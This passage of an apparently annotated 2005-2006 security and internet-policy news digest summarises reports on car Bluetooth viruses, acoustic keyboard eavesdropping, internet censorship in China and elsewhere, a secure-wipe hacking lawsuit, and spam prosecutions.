CAR COMPUTER SYSTEMS AT RISK TO VIRUSES

Car industry officials and analysts say hackers' growing interest in writing viruses for wireless devices puts auto computer systems at risk of infection. As carmakers adjust on-board computers to allow consumers to transfer information with MP3 players and mobile phones, they also make their vehicles vulnerable to mobile viruses that jump between devices via the Bluetooth technology that connects them. The worst that could happen is that the computer's control of engine performance and emissions, navigation and entertainment systems cease to function. That would probably mean an annoying trip to the repair shop or having to reboot the system. Companies so far have seen no reports of viruses in auto systems, and studies have shown it is not easy to transplant a virus into a car, but carmakers say they are taking the risk seriously. The first mobile phone virus, Cabir, has spread to over 20 countries, ranging from the United States to Japan and from Finland to South Africa, using only Bluetooth. Bluetooth is used in car electronics interfaces for monitoring and service. Carmakers say they use the most sophisticated protection for safety equipment such as airbags or motor controls, whereas infotainment systems so far have less stringent safeguards.

Category 31.3 *New technology with security implications*

2005-09-14 **new technology password cracking keylogger keylogging**

EDUPAGE; http://news.zdnet.com/2100-1009_22-5865318.html

SOUND OF KEYBOARD CLICKS REVEALS WHAT IS TYPED

Researchers at the University of California at Berkeley have demonstrated that an audio recording of someone typing on a computer keyboard can reveal with surprising accuracy exactly what they have typed. Using commercially available recording equipment, the researchers captured audio of typing and analyzed the sounds using an algorithm they developed. Because keys make different sounds, the system is able to make educated guesses about what key was pressed in what order. The application then applies some linguistic logic, including spelling and grammar checks, to refine the results. After three rounds of revisions, the application was able to identify 96 percent of the individual characters typed and 88 percent of the words. The application was effective even with background noise, such as music or cell phones ringing. Doug Tygar, UC Berkeley professor of computer science and information management and a principal investigator of the study, said the project should raise concerns about the security risks of such a technology. "If we were able to figure this out," he said, "it's likely that people with less honorable intentions can--or have--as well." ZDNet, 14 September 2005

Category 31.3 *New technology with security implications*

2005-10-10 **nanotechnology research NSF funding ethical privacy questions security biomedicine**

EDUPAGE; http://chronicle.com/daily/2005/10/2005101005n.htm

NSF FUNDS NANOTECHNOLOGY RESEARCH

Researchers at several universities have received grants from the National Science Foundation (NSF) to study the social implications of nanotechnology. Until now, most funds for nanotechnology projects have supported efforts to develop the technology itself rather than to study its potential effects. Over the next five years, Arizona State University at Tempe and the University of California at Santa Barbara will receive $6.2 million and $5 million, respectively, to study the possible societal side effects of manipulating matter at the atomic level to create new substances and extremely small devices. The University of South Carolina and Harvard University will receive smaller grants to support existing projects. Among the speculative uses of nanotechnology is an idea to create tiny sensors that could reside within a human body and monitor its health. Such sensors would presumably spawn a host of ethical and privacy questions. Moreover, the prospect of creating new types of compounds at the atomic level raises concern about possible risks to the environment. Research at Arizona will focus on security, privacy, and biomedicine; at Santa Barbara, research will address social perceptions of the risk inherent in nanotechnology. Chronicle of Higher Education, 10 October 2005 (sub. req'd)

Category 31.3 *New technology with security implications*

2005-11-16 **MIT $100 laptop production One Laptop per Child OLPC Nicholas Negroponte Tunisia conference**

EDUPAGE; http://chronicle.com/free/2005/11/2005111602t.htm

MIT DEBUTS $100 LAPTOP

At the World Summit on the Information Society in Tunisia, Nicholas Negroponte, director of MIT's Media Lab, will show an early version of a $100 laptop that he announced in January. Negroponte has said that such a device would bring the fruits of technology to millions of schoolchildren in developing nations, spanning the digital divide and spurring economic development. According to those involved with the project, a number of countries have expressed interest, including Brazil, China, Egypt, Nigeria, Thailand, and South Africa, though development remains before orders can be placed. In addition, the governor of Massachusetts has called on his state to provide the new laptops to every middle and high school student. Critics of the program argue that people in developing nations often need more basic supplies, such as food and clean water, and some also note that the educational value of laptops for every student has not been proven. The devices use the Linux operating system and flash memory; they do not include cameras or DVD-ROM drives, as originally planned. They run on C batteries that can be recharged using a hand crank attached to the device. Chronicle of Higher Education, 16 November 2005

Category 31.3 *New technology with security implications*

2005-12-14 **information security new channel alerts AT&T**

DHS IAIP Daily; http://www.networkworld.com/news/2005/121405−att−security.html

AT&T LAUNCHES 24-HOUR SECURITY NEWS SERVICE

AT&T Wednesday, December 14, turned on a 24-hour security news service that streams to customers of the carrier's Internet Protect service. The always-on Webcast includes regular programming that is interrupted by security alerts that AT&T deems important enough to let customers know about right away. "We're building a security geek channel," said AT&T CSO Ed Amoroso during his keynote address at Interop New York, during which he announced the service. Programming includes lectures on technologies, interviews with corporate CIOs as well as twice-daily news updates. The alerts will call attention to worms and viruses and suggest ways to deal with them, Amoroso says. These supplement the existing alerts that AT&T would send along as part of Internet Connect. Amoroso acknowledged that most threats come from inside corporate networks, and he characterized badly written software as the biggest threat to network security, but he said AT&T's service could help deal with threats coming from outside.

Category 31.3 *New technology with security implications*

2005-12-14 **MIT $100 laptop production Quanta Taiwan manufacturer One Laptop per Child OLPC Nicholas Negroponte**

EDUPAGE; http://hardware.silicon.com/desktops/0,39024645,39155040,00.htm

QUANTA TO PRODUCE MIT'S $100 LAPTOPS

Computer maker Quanta has been chosen to manufacture the $100 laptops that are the brainchild of MIT's Nicholas Negroponte and supported by the One Laptop per Child (OLPC) organization. Based in Taiwan, Quanta is the world's largest maker of laptops, building the devices for companies including Dell and HP. Some believe that supplying the developing world with inexpensive computer technology will be a boon for educational and economic development of those nations, and the notion of an inexpensive laptop is part of that vision. Previous attempts to build and deploy similar technology have failed, and detractors argue that the $100 laptop program doesn't stand much of a chance. Nevertheless, recruiting a major hardware manufacturer signals the level of support that the project enjoys. Of the announcement, Negroponte said, "Any previous doubt that a very-low-cost laptop could be made for education in the developing world has just gone away." Silicon.com, 14 December 2005

Category 31.3 *New technology with security implications*

2006-02-06 **machine learning algorithms software self-improving security applications**

DHS IAIP Daily;
http://www.computerworld.com/developmenttopics/development/s
tory/0,10801,108320,00.html

MACHINE-LEARNING TECHNIQUES TO CREATE SELF-IMPROVING SOFTWARE ARE HITTING THE MAINSTREAM.

Attempts to create self-improving software date to the 1960s. But "machine learning," as it's often called, has remained mostly the province of academic researchers, with only a few niche applications in the commercial world, such as speech recognition and credit card fraud detection. Now, researchers say, better algorithms, more powerful computers and a few clever tricks will move it further into the mainstream. Computer scientist Tom Mitchell, director of the Center for Automated Learning and Discovery at Carnegie Mellon University, says machine learning is useful for the kinds of tasks that humans do easily, but that they have trouble explaining explicitly in software rules. In machine-learning applications, software is "trained" on test cases devised and labeled by humans, scored so it knows what it got right and wrong, and then sent out to solve real-world cases. Mitchell is testing the concept of having two classes of learning algorithms in essence train each other, so that together they can do better than either would alone. Mitchell's experiments have shown that such "co-training" can reduce errors by more than a factor of two. The breakthrough, he says, is software that learns from training cases labeled not by humans, but by other software.

Category 31.3 *New technology with security implications*

2006-04-27 **USB memory stick warning new technology security risk business data leakage theft**

DHS IAIP Daily; http://news.bbc.co.uk/2/hi/technology/4946512.stm

WARNINGS OVER USB MEMORY STICKS.

Smart phones, iPods and USB memory sticks are posing a real risk for businesses, warn security experts. Just over half of companies take no steps to secure data held on these devices, found a UK government-backed security survey. Figures from the Information Security Breaches Survey, which is backed by the Department of Trade and Industry, reveals how firms are struggling to control the growing use of USB flash memory sticks. Matt Fisher, spokesperson for Centennial Software, said USB sticks could also become an attack vector for viruses and other malicious programs largely because they are swapped between many different computers. Both the executive summary and the full results of the Information Security Breaches Survey, April 2006, can be found at: http://www.pwc.com/Extweb/pwcpublications.nsf/docid/F9843CD3 C8E0FB828025715A0058C63B

31.4 Outsourcing

Category 31.4 Outsourcing

2005-03-07 **terrorist India outsourcing industry suicide attack disaster recovery plans IBM Intel Texas Instruments Accenture Wipro Infosys**

DHS IAIP Daily;
http://www.infoworld.com/article/05/03/07/HNterroristsindia_ 1.html

TERRORISTS TARGET INDIA'S OUTSOURCING INDUSTRY.

India's software and services outsourcing industry is a likely target for a terrorist group operating in the country, local police warned on Sunday, March 6. But Indian outsourcing and software companies said they are prepared to cope with the threat. Documents seized from three members of the Lashkar-e-Toiba (LeT) terrorist group killed in an encounter with the police on Saturday, March 5, revealed that they planned to carry out suicide attacks on software companies in Bangalore, Karnal Singh, joint commissioner of police in Delhi, told reporters. LeT is demanding independence for the Indian state of Jammu and Kashmir. "The terrorists planned to hit these companies in an effort to hinder the economic development of the country," Singh said. IBM, Intel, Texas Instruments, Accenture, Wipro, and Infosys Technologies are among those with operations in Bangalore. Most of the technology companies in the city have already set up disaster recovery plans and special disaster recovery sites that could be used in the event of a terrorist attack, according to Kiran Karnik, president of the National Association of Software and Service Companies in Delhi.

32.1 Censorship in the USA

Category 32.1 Censorship in the USA

2005-01-31 **high school first amendment free speech**

NewsScan;
http://www.knightfdn.org/default.asp?story=news_at_knight/releases/2005/2005_01_31_firstamend.html

SCHOOL NEWS: FIRST AMENDMENT? WHAT FIRST AMENDMENT?

A University of Connecticut survey of more than 100,000 high school students has found that educators are failing to give high school students an appreciation of the First Amendment¹s guarantees of free speech and a free press. Commissioned by the Knight Foundation, the $1 million, two-year study found that nearly three-fourths of high school students either do not know how they feel about the First Amendment or admit they take it for granted; seventy-five percent erroneously think flag burning is illegal; half believe the government can censor the Internet; and more than a third think the First Amendment goes too far in the rights it guarantees. Knight Foundation chief executive Hodding Carter III says, "These results are not only disturbing; they are dangerous. Ignorance about the basics of this free society is a danger to our nation¹s future." (Knight Foundation 31 Jan 2005)

Category 32.1 Censorship in the USA

2005-03-24 **Federal Election Commission Internet activity rules campaign finance control**

DHS IAIP Daily; http://www.washingtonpost.com/wp−dyn/articles/A63872−2005Mar 24.html

FEDERAL ELECTION COMMISSION OFFICIALS WEIGH LIMITED INTERNET ACTIVITY RULES.

Federal Election Commission (FEC) officials on Thursday, March 24, took their first steps in extending campaign finance controls to political activity on the Internet, asking for public input on limited regulations for the freewheeling medium. Commissioner Ellen Weintraub, who took the lead on drafting proposals with vice chairman Michael Toner, described the steps as "restrained." The commission emphasized a hands-off approach to bloggers, or authors of Web logs, among the loudest and unruliest voices online. The draft guidelines suggest applying limits that exist in other media to certain political advertising on the Web and political spam e-mail. The commission said it was exploring Internet regulation reluctantly - ordered to do so by a court - and with the lightest touch possible, exempting everything except certain kinds of paid political advertising. But the Center for Individual Freedom, a nonprofit advocacy group, said any regulation is too much. FEC Website: http://www.fec.gov/

Category 32.1 Censorship in the USA

2006-02-01 **Microsoft blog censorship policy local law violation proof China filter**

EDUPAGE; http://www.internetnews.com/bus-news/article.php/3582016

MICROSOFT OUTLINES BLOG CENSORSHIP POLICY

Microsoft has announced details of a new policy on censoring the content of blogs maintained by its customers. According to the new policy, blog content will only be blocked to comply with local laws and with the terms of use of MSN Spaces, the company's blog application. In order to have content blocked, a local government must demonstrate that it violates local laws. Moreover, the content will only be blocked in areas where those laws apply; users in other parts of the world will still be able to see the content. In cases where content is blocked, users will be notified and told that the reason is a government restriction. Microsoft's announcement follows criticism of its decision to comply with requests of Chinese authorities to remove the blog content of an individual the government considered a threat. The announcement also comes on the heels of Google's plan to filter the content of its search results to comply with local laws in China. Both companies said their decisions are based on the belief that it is better to have a presence in countries like China, even if that requires limiting access to certain online content.

32.2 Censorship outside the USA

Category 32.2 Censorship outside the USA

2005-02-07 **cell phone UK moral London prostitution censorship filtering advertising**

NewsScan; http://wsj.com/

U.K. CELLPHONE COMPANIES REJECT ROLE OF 'MORAL ARBITER'

A London city councilman wants cellphone companies to strangle the vice trade by declining calls to the numbers shown on business cards soliciting prostitution, but most cellphone companies say it isn't their job to interfere with a customer's service. A Vodaphone spokesman says, "We are not content to play the role of moral arbiter." The decision is supported by the English Collective of Prostitutes, which says that women who are unable to advertise in phone booths may be forced to walk the streets, a more dangerous activity than operating from an apartment. Although prostitution itself (though not street solications) is legal in the U.K., the city councilman says a crackdown is crucial because the world's oldest profession has been booming in London ever the fall of the Berlin Wall, when organized crime gangs began to coerce young women from Eastern Europe and Russia to work for them. (Wall Street Journal 7 Feb 2005)

Category 32.2 Censorship outside the USA

2005-02-14 **China crackdown café censorship shutdown Internet pornography subversion politics schools**

NewsScan;
http://ap.washingtontimes.com/dynamic/stories/C/CHINA_INTERNET_CRAC
KDOWN?SITE=DCTMS&SECTION=HOME

CHINA'S CRACKDOWN ON INTERNET CAFES

Chinese authorities shut down more than 12,575 Internet cafes in the last three months of 2004 to create a "safer environment for young people in China," according to the Xinhua News Agency. With 87 million people online, China has the world's second-largest population of Internet users (after the U.S.), and the government actively promotes Internet use for business and education. However, communist authorities block access to Web sites they deem pornographic or subversive and Internet cafes are banned from operating near schools. (AP/Washington Times 14 Feb 2005)

Category 32.2 Censorship outside the USA

2005-03-21 **China censorship blocking college campus Webpages discussions politics pop culture pornography**

EDUPAGE; http://www.reuters.com/newsArticle.jhtml?storyID=7958355

CHINA BLOCKS ACCESS TO CAMPUS WEB PAGES

Chinese officials have blocked outside access to a number of online bulletin boards operated by universities. Such bulletin boards have become popular vehicles for discussion about topics including politics, pop culture, and pornography, subjects which Chinese authorities have not been shy about censoring. Tsinghua University's Shuimu Tsinghua bulletin board was one of those restricted recently, joining bulletin boards at Wuhan University and Nankai University, as well as one at Peking University that was shut down entirely. According to a student from Tsinghua University who asked not to be named, the Ministry of Education's reasoning for blocking outside access was "because the bulletin board was only supposed to be a platform for internal exchange within the university." He added, "Students are calm about it, but it seems that non-student users are angry because they can no longer get access." Reuters, 21 March 2005

Category 32.2 *Censorship outside the USA*

2005-05-09 **Singapore censorship scare tactics University of Illinois Urbana-Champaign graduate student blog shut down A*Star science research SLAPP strategic lawsuit against public participation**

EDUPAGE; http://www.reuters.com/newsArticle.jhtml?storyID=8422422

STUDENT SHUTS DOWN BLOG AFTER THREAT FROM SINGAPORE

Chen Jiahao, a graduate student in chemical physics at the University of Illinois at Urbana-Champaign, has shut down his personal blog and issued two apologies after an agency of the government in Singapore threatened to sue Chen for defamation. A*Star, the agency in Singapore dealing with science and research, accused Chen, who is from Singapore, of libelous statements that "went way beyond fair comment." The agency demanded a public apology but said Chen's first apology was insincere and insisted on another. A*Star said it welcomes various opinions and perspectives, but many in the journalism community rejected that claim. Singapore has long had a reputation for using tactics including lawsuits to silence critics. Organizations including the Committee to Protect Journalists and Reporters without Borders have decried Singapore's threats to Chen and journalists. "Chen criticized some of A*Star's policies," said Julien Pain, head of Reporters without Borders' Internet freedom desk, "but there was nothing defamatory in what he wrote." Reuters, 9 May 2005

[MK adds: a clear case of a SLAPP, no? (Strategic Lawsuit Against Public Participation)]

Category 32.2 *Censorship outside the USA*

2006-01-06 **China Web Internet journalist blogger site shut down censorship Microsoft**

EDUPAGE; http://www.nytimes.com/2006/01/06/technology/06blog.html

MICROSOFT AGREES TO CLOSE CHINESE BLOGGER'S SITE

Following a formal request from Chinese officials, Microsoft has shut down the blog of a high-profile Chinese journalist. China is well known for censoring public speech it considers critical of the government, and Microsoft's actions are not the first in which non-Chinese companies have complied with Chinese authorities. Officials from Microsoft noted that if their services are to be available in China, the company must comply with local laws. As Brooke Richardson, a group product manager for MSN said, "We think it's better to be there with our services than not be there." Last year Yahoo was faulted by some for cooperating with Chinese officials, and it too stated then that a requirement of continuing operation in the country is to conform to local laws and regulations. Rebecca MacKinnon, a fellow at the Berkman Center for Internet and Society at Harvard Law School, expressed concerns on her blog about Microsoft's action. "Can we be sure," she said, "they won't do the same thing in response to potentially illegal demands by an overzealous government agency in our own country?" New York Times, 6 January 2006 (registration req'd)

Category 32.2 *Censorship outside the USA*

2006-01-24 **Google censorship search results China laws regulations Reporters Without Borders**

EDUPAGE; http://news.com.com/2100-1028_3-6030784.html

GOOGLE TO CENSOR SEARCH RESULTS IN CHINA

Google will launch search and news sites in China this week that will block access to information the Chinese government considers objectionable. Chinese officials have a long track record of censoring speech and ideas, and, according to Andrew McLaughlin, senior policy counsel for Google, the new sites "will comply with local Chinese laws and regulations." Search results from which content has been excluded will notify users that not all results are being displayed. Google said that the decision to offer its services even if they are censored reflects the belief that limited access to Internet resources is better than no access, which would be the alternative if Google did not comply with local legislation. "We must balance our commitments," said McLaughlin, "to satisfy the interest of users, expand access to information, and respond to local conditions." Reporters Without Borders, an organization that advocates for freedom of the press, was highly critical of the decision, saying, "The new Google version means that even if a human rights publication is not blocked by local firewalls, it has no chance of being read in China."

Category 32.2 Censorship outside the USA

2006-01-26 **China government censorship search engine GOOGLE US law**

RISKS 24 15

COMPLEXITY OF SEARCH ENGINE COMPLIANCE WITH LOCAL LAWS

Lauren Weinstein, founder of People for Internet Responsibility < http://www.pfir.org >, wrote a thoughtful analysis of the problems search engine companies such as GOOGLE face in meeting conflicting standards in different nations. For example, GOOGLE recently cooperated with the Chinese government in blocking access to certain materials that frighten certain elements within that totalitarian regime; on the other hand, GOOGLE also refused to cooperate with US federal law enforcement requests for records of user searches because of privacy concerns. Weinstein wrote, "The situation highlights the minefield of issues that Google and other Internet companies now face, and the desperate need for proactive approaches to dealing with the ways that these technologies affect individuals and society."

He also pointed to initiatives in the US Congress that would have significant implications for international relations: "Congressman Tim Ryan has announced a hearing of the Congressional Human Rights Caucus (16 Feb is the date that I've heard) to explore the potential drafting of laws that would limit or otherwise control U.S.-based Internet companies from complying with the censorship demands of foreign countries. Emotions were clearly exasperated by Google's launching of the 'dot-cn' Chinese version of Google search that blocks links as per Chinese government directives, though Google is not alone in this regard among U.S.-based Internet companies."

For a streaming video of a one hour lecture by Lauren Weingstin touching on these issues and other of interest, see < http://neon.vortex.com/lauren-google-2006-01-24.asx >.

Category 32.2 Censorship outside the USA

2006-02-03 **Internet pro-terrorism Website US extradition trial freedom privacy**

DHS IAIP Daily; http://www.csmonitor.com/2006/0203/p06s02−woeu.html

INTERNET JIHAD: TACKLING TERROR ON THE WEB.

Nearly 18 months ago, Babar Ahmad, a British citizen, was arrested on an extradition request to the U.S. Charged with running Websites hosted in the U.S. that promoted and supported Islamic militancy, Ahmad remains in British custody. He has appealed the extradition order and Britain's High Court will hear the case on Monday, February 20. The proceedings will test the ability of Western governments to put on trial Islamic radicals who use the Internet as a key recruiting and organizational tool. But while the U.S. government pursues those who operate Websites that allegedly encourage terrorism, some argue that the authorities should instead concentrate on shutting down the sites themselves as soon as possible to limit their impact. Ahmad's case illustrates how seriously the U.S. is taking such Websites. His extradition warrant accuses him -- among other things -- of helping to run azzam.com, one of the earliest and most high profile English-language pro-jihad Websites, which for a time was run by an Internet Service Provider (ISP) headquartered in Connecticut. A federal grand jury in the U.S. indicted Ahmad in October 2004 on four charges. If found guilty, he faces life imprisonment.

Category 32.2 Censorship outside the USA

2006-02-08 **Yale Website censored Thailand ruler biography**

EDUPAGE; http://chronicle.com/daily/2006/02/2006020801t.htm

THAILAND BLOCKS YALE PRESS WEB SITE

Internet users in Thailand will not be able to access the Yale University Press Web site following the government's response to a biography that presents an unflattering image of the country's king, Bhumibol Adulyadej. Thai officials in the Ministry of Information and Communications Technology frequently block access to online materials that include adult or violent content, criticism of the Thai royal family, information about the country's national security, or allegedly false advertising. The book, written by journalist Paul M. Handley, who reported from Thailand for 13 years, will be released by the Yale University Press in July. It is also expected to be banned in the country. Although Handley refused to comment specifically on the government's decision to censor the press's Web site, saying that the book will speak for itself, Yale issued a statement defending the book and the author.

Category 32.2 *Censorship outside the USA*

2006-02-14 **US State Department Internet Freedom Task Force launch censorship political content**

DHS IAIP Daily;
http://www.techweb.com/wire/ebiz/180201737;jsessionid=U5ND2C
KBMSPZ4QSNDBCCKH0CJUMEKJVN

U.S. STATE DEPARTMENT LAUNCHES INTERNET FREEDOM TASK FORCE.

The U.S. State Department on Tuesday, February 14, established a task force to investigate the problems posed to the Internet by repressive regimes, a move that followed a call for help by Google Inc., Microsoft Corp. and Yahoo Inc., which have been criticized for censoring information in China. The task force would consider how the use of technology to restrict access to political content has impacted U.S. companies. The panel would also investigate the use of technology to track and repress dissidents and efforts to modify Internet governance structures in order to restrict the free flow of information. The task force is expected to draw upon the department's expertise in international communications policy, human rights, democracy, business advocacy, corporate responsibility and relevant countries and regions, Shiner said. Besides working with U.S. companies and non-governmental agencies, such as human rights groups, the task force will seek help from the European Union and other governments facing similar problems with Internet censorship.

Category 32.2 *Censorship outside the USA*

2006-04-12 **Google China research center content filtering censorship local law compliance Book Search**

EDUPAGE; http://online.wsj.com/article/SB114484852659023945.html

GOOGLE REBUFFS CRITICS, EXPANDS CHINESE RESEARCH CENTER

Responding to critics of Google's decision to filter certain content to Chinese users, CEO Eric Schmidt reiterated the company's position that it is better to have a presence in China with some restrictions than not to be there at all. Other Internet companies operating in China face the same restrictions as Google--preventing access to sites the government deems objectionable--and Schmidt said Google has not received any complaints from Chinese users. Noting that one-fifth of the world's population lives in China and that many of them are or will be Internet users, Schmidt said Google would comply with applicable local laws and would expand its research operation in the country. The company currently employs about 30 engineers in its R&D facility in Beijing and plans to increase that number to 100. Schmidt also said Google is working with Chinese libraries to include their books in its Book Search program, which is scanning millions of books for online access.

Category 32.2 *Censorship outside the USA*

2006-05-09 **China censorship students bypass filters firewall**

EDUPAGE; http://www.nytimes.com/2006/05/09/world/asia/09internet.html

CHINESE STUDENTS POLICE INTERNET

In China, a government initiative known as "Let the Winds of a Civilized Internet Blow" aims to ensure that online content conforms to government expectations. Students at some Chinese universities are a key part of the effort. At Shanghai Normal University, 500 students serve as Internet monitors, participating in online discussions and trying to steer conversations away from topics considered objectionable. Unknown to most of the other students on campus, the monitors also report some content to campus officials, who delete it. One student monitor said, "Our job consists of guidance, not control." Critics argue that the practice amounts to nothing more than the censorship common to other areas of Chinese life. Chinese officials acknowledged that more than two million images and 600 online forums have been deleted for being "unhealthy." Some students dismissed the efforts, saying that with the Internet, you can always go elsewhere to share your opinions. "It's easy to bypass the firewalls," said one student, "and anybody who spends a little time researching it can figure it out."

Category 32.2 Censorship outside the USA

2006-05-12 **China Wikipedia rejection censorship Baidu search engine Biake encyclopedia**

EDUPAGE; http://www.siliconvalley.com/mld/siliconvalley/14563324.htm

CHINA REJECTS WIKIPEDIA, STARTS ITS OWN VERSION

Baidu, the leading search engine in China, has launched a site that approximates Wikipedia but with none of the content that prompted the Chinese government to block Wikipedia last year. Chinese authorities exert strong control over Internet content available in the country, and Wikipedia includes enough material deemed objectionable that the entire site is unavailable. Robin Li, chairman of Baidu, said his company's new site, Baike, was inspired by Wikipedia, though he said he has never actually seen Wikipedia. China is second only to the United States in Internet users, and Chinese users have reportedly written more than 25,000 Baike entries in the past week. Li said, "I certainly hope our encyclopedia will be the most authoritative one for any Chinese users."

33.1 Acceptable use policies

Category 33.1 Acceptable use policies

2005-02-11 **blog weblog work fire employment termination judgement courtesy foolish stupid rude crude crass insulting anonymous consequences pseudonym journalist criticism sarcasm appropriate use**

NewsScan; http://www.washingtonpost.com/wp-dyn/articles/A15511-2005Feb10.html

BLOGGING WHILE YOU WORK: MAYBE NOT A GOOD IDEA

Using the pseudonym "Sarcastic Journalist," reporter Rachel Mosteller of the Durham (N.C.) Herald-Sun newspaper wrote this entry on her personal blog one day last year: "I really hate my place of employment. Seriously. Okay, first off. They have these stupid little awards that are supposed to boost company morale. So you go and do something 'spectacular' (most likely, you're doing your JOB) and then someone says 'Why golly, that was spectacular.' then they sign your name on some paper, they bring you chocolate and some balloons... Okay two people in the newsroom just got it. FOR DOING THEIR JOB." The day after her posting, Sarcastic Journalist was fired (even though it did not identify the newspaper in her posting). Lee Rainie, director of the Pew Internet & American Life Project, comments: "We all complain about work and our bosses. And the ethos of the blogosphere is to be chatty and sometimes catty and crude. Even in an era of casual Fridays, that is not what companies want to be portrayed by the world." And labor lawyer Gregg M. Lemley notes: "In most states, if an employer doesn't like what you're talking about, they can simply terminate you." (Washington Post 11 Feb 2005)

Category 33.1 Acceptable use policies

2006-03-10 **employment law file deletion company laptop undelete secure wipe lawsuit criminal hacking unauthorized**

RISKS; CNET news.com http://tinyurl.com/ne3xx 24 20

USING SECURE WIPE UTILITY LEADS TO LAWSUIT FOR HACKING

Declan McCullagh summarized an interesting interpretation of law that occurred in the US Court of Appeals for the 7th Circuit in March 2006. It seems that Jacob Citrin used to work for International Airport Centers. He quit and returned his laptop computer to them. They prepared to sue him for allegedly violating his employment contract by going to business for himself in the same field. When they searched his hard drive looking for juicy files to undelete as part of their preparation for the civil case, they discovered that he had wiped files rather than deleted them: the old files were unrecoverable. So they accused him of violating 18 USC §1030, the Computer Fraud and Abuse Act of 1986.

McCullagh wrote:

>That law says whoever "knowingly causes damage without authorization" to a networked computer can be held civilly and criminally liable.

The 7th Circuit made two remarkable leaps. First, the judges said that deleting files from a laptop counts as "damage." Second, they ruled that Citrin's implicit "authorization" evaporated when he (again, allegedly) chose to go into business for himself and violate his employment contract.

The implications of this decision are broad. It effectively says that employees better not use OS X's Secure Empty Trash feature, or any similar utility, because they could face civil and criminal charges after they leave their job. (During oral argument last October, one judge wondered aloud: "Destroying a person's data--that's as bad as you can do to a computer.")

Citrin pointed out that his employment contract permitted him to "destroy" data in the laptop when he left the company. But the 7th Circuit didn't buy it, and reinstated the suit against him brought by IAC.<

33.2 Spam, spim, spit & splogs

Category 33.2 Spam, spim, spit & splogs

2004-12-20 **spam judgement federal judge RICO Iowa racketeering damages**

NewsScan; http://online.wsj.com/article/0

JUDGE SLAMS SPAMMERS WITH $1-BILLION JUDGMENT

A federal judge in Iowa has awarded a small ISP more than $1 billion in damages in what's believed to be the largest judgment ever against spammers. The case was brought by Robert Kramer, whose company provides e-mail service to about 5,000 customers, and who filed suit after his inbound mail servers were jammed with as many as 10 million spam-mails a day in 2000. Citing federal racketeering laws (RICO) and the Iowa Ongoing Criminal Conduct Act, U.S. District Judge Charles R. Wolle ordered AMP Dollar Savings of Mesa, Ariz., to pay $720 million; Cash Link Systems of Miami, Fla., $360 million; and TEI Marketing Group, also of Florida, $140,000. "It's definitely a victory for all of us that open up our e-mail and find lewd and malicious and fraudulent e-mail in our boxes every day," said Kramer, who is unlikely to ever collect on the judgments. (AP/Wall Street Journal 20 Dec 2004)

Category 33.2 Spam, spim, spit & splogs

2005-01-11 **adult e-mails CAN-SPAM ACT FTC memberships**

EDUPAGE; http://www.wired.com/news/politics/0,1283,66240,00.html

ADULT E-MAILS SHUT DOWN BY CAN-SPAM ACT

The Federal Trade Commission (FTC) has won an injunction against six companies accused of sending thousands of spam messages that failed to meet the requirements of the CAN-SPAM Act. According to the FTC's complaint, the companies sent e-mail that directs recipients to adult Web sites but did not include the phrase "sexually explicit" in the subject line, as required by the antispam law. The e-mails also did not provide opt-out functions to recipients and falsely promised free memberships with the Web sites involved. The temporary injunction issued by a court in Las Vegas marks the first time the requirements of the CAN-SPAM Act regarding adult content have been used. The FTC will ask the court to make the injunction permanent. In addition, those who operate the Web sites that benefit from unlawful spam can be held accountable under the CAN-SPAM law.

Category 33.2 Spam, spim, spit & splogs

2005-01-12 **CAN-SPAM spam porn FTC injunction Federal Trade Commission junk e-mail liability prosecution injunction**

NewsScan; http://apnews.excite.com/article/20050112/D87II6A80.html

FTC SHUTS DOWN X-RATED SPAMMERS

The Federal Trade Commission has won a preliminary injunction against six companies accused of profiting from sexually explicit junk e-mail. The injunction, granted by U.S. District Court Judge Philip M. Pro, will last the duration of the FTC's civil suit against the companies. The case marks the first time the FTC has taken action under a rule included in the last years "Can Spam" Act that requires a label identifying sexually explicit e-mail in the subject line. The law also holds liable Web site operators who benefit from fraudulent pornographic spam. "It's not just the people who push the buttons to send spam" who are liable," notes FTC marketing practices division director Eileen Harrington. Named in the FTC complaint are Global Net Solutions, Open Space Enterprises, Southlake Group and WTFRC Inc., all of Nevada; Global Net Ventures of London; and Wedlake Ltd., which is based in Riga, Latvia. (AP 12 Jan 2005)

Category 33.2 *Spam, spim, spit & splogs*

2005-01-14 **Texas notorious spammers lawsuit PayPerAction Leadplex state federal**

EDUPAGE; http://news.com.com/2100-1030_3-5536356.html

TEXAS TARGETS NOTORIOUS SPAMMERS

The attorney general of Texas has filed a civil lawsuit against two individuals believed to be responsible for millions of illegal e-mail solicitations. Ryan Samuel Pitylak, a student at the University of Texas, and Mark Stephen Trotter of California operate two companies, PayPerAction and Leadplex. Spamhaus.org, a watchdog group that monitors spam, has identified the two companies as being among the top five spam operations worldwide. Prosecutors allege that the e-mails sent by the two companies violate state and federal laws, including the CAN-SPAM Act, by including misleading subject lines and fraudulent information in the body of the messages. The defendants, who are also accused of violating Texas trade practices, face millions of dollars in fines, though no criminal charges were filed against them. An attorney for the defendants said his clients' businesses are in full compliance with all applicable laws, including the CAN-SPAM Act. CNET, 14 January 2005

Category 33.2 *Spam, spim, spit & splogs*

2005-02-04 **blacklists ISP Internet service provider open spam relay e-mail technique cost estimates**

NewsScan; http://www.washingtonpost.com/wp-dyn/articles/A61901-2005Feb3.html

SPAMMERS TRY A NEW TACK

Tired of being blocked by "blacklists," spammers are turning to a new technique -- routing it directly through the computers of their Internet service providers, rather than sending it from individual machines. The result poses a dilemma: to block spam coming directly from an ISP's servers would mean blocking all its mail, crippling the system. "From what we've seen, the volumes of this type of spam are going up dramatically," says Steve Linford, who heads up the Spamhaus Project. "We're really looking at a bleak thing" if ISPs don't quickly deploy countermeasures, he adds. Such measures could include more aggressive monitoring and limiting how much mail is being sent from individual machines on their networks. In addition, ISPs should beef up efforts to authenticate mail they pass on through their own computers, says Linford. A study released yesterday estimates that deleting spam costs nearly $22 billion per year in lost productivity, based on a survey of 1,000 adults who said they spend about three minutes per day trashing spam when they check their e-mail. (Washington Post 4 Feb 2005)

Category 33.2 *Spam, spim, spit & splogs*

2005-02-04 **new spamming technique Internet service provide ISP computer exploitation spammer technique sophistication**

DHS IAIP Daily; http://www.washingtonpost.com/wp−dyn/articles/A61901−2005Feb 3.html

NEW SPAMMING TECHNIQUE USES ISP COMPUTERS.

